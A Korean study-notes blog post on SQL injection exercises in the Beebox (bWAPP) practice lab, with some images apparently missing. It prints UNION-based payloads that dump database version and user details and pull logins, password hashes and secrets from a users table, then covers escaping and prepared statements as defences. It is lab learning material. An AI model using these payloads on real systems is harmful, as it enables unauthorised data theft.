본문 바로가기

Study records/Web hacking

[Beebox] SQL 인젝션 기초

SQL Injection (GET/Search)

SQL Indection은 공격자가 웹 애플리케이션의 데이터베이스와 상호작용하는 SQL 쿼리를 조작하여 비정상적인 동작을 일으키거나 민감한 데이터를 탈취하는 공격 기법이다. GET 요청을 통해 전달된 입력 값이 SQL 쿼리에 포함될 때, 적절한 검증 없이 입력이 처리되면 SQL 인젝션 공격에 취약해질 수 있다.

 

항상 참이 되어 모든 사용자의 정보를 반환

 

 

 

 

 

"' union select 1,@@version,database(),user(),@@datadir,6,7 #

 

 

 

 

 

 

 

0' UNION SELECT ALL 1,concat(id,login,password),3,4,concat(email,secret),6,7 from users#

 

 

SHA-1 해시 사용

 

passwd는 bug임을 알 수 있다

 

 

 

mysql_real_escape_string() 함수는 다음과 같은 특수 문자를 앞에 백슬래시(\)를 추가하여 이스케이프 처리한다. 더 안전 Prepared Statements를 사용하는 것이 좋다.

  • \0 → \\0
  • \n → \\n
  • \r → \\r
  • \ → \\\\
  • ' → \\'
  • " → \\"
  • \x1a → \\Z

 

 

SQL Injection (GET/Select)

 

 

 

 

 

limit 사용

 

 

 

 

security level : high

 

준비된 문을 사용하여 입력 값을 쿼리에 안전하게 바인딩함으로써 SQL 인젝션 공격을 효과적으로 차단할 수 있다.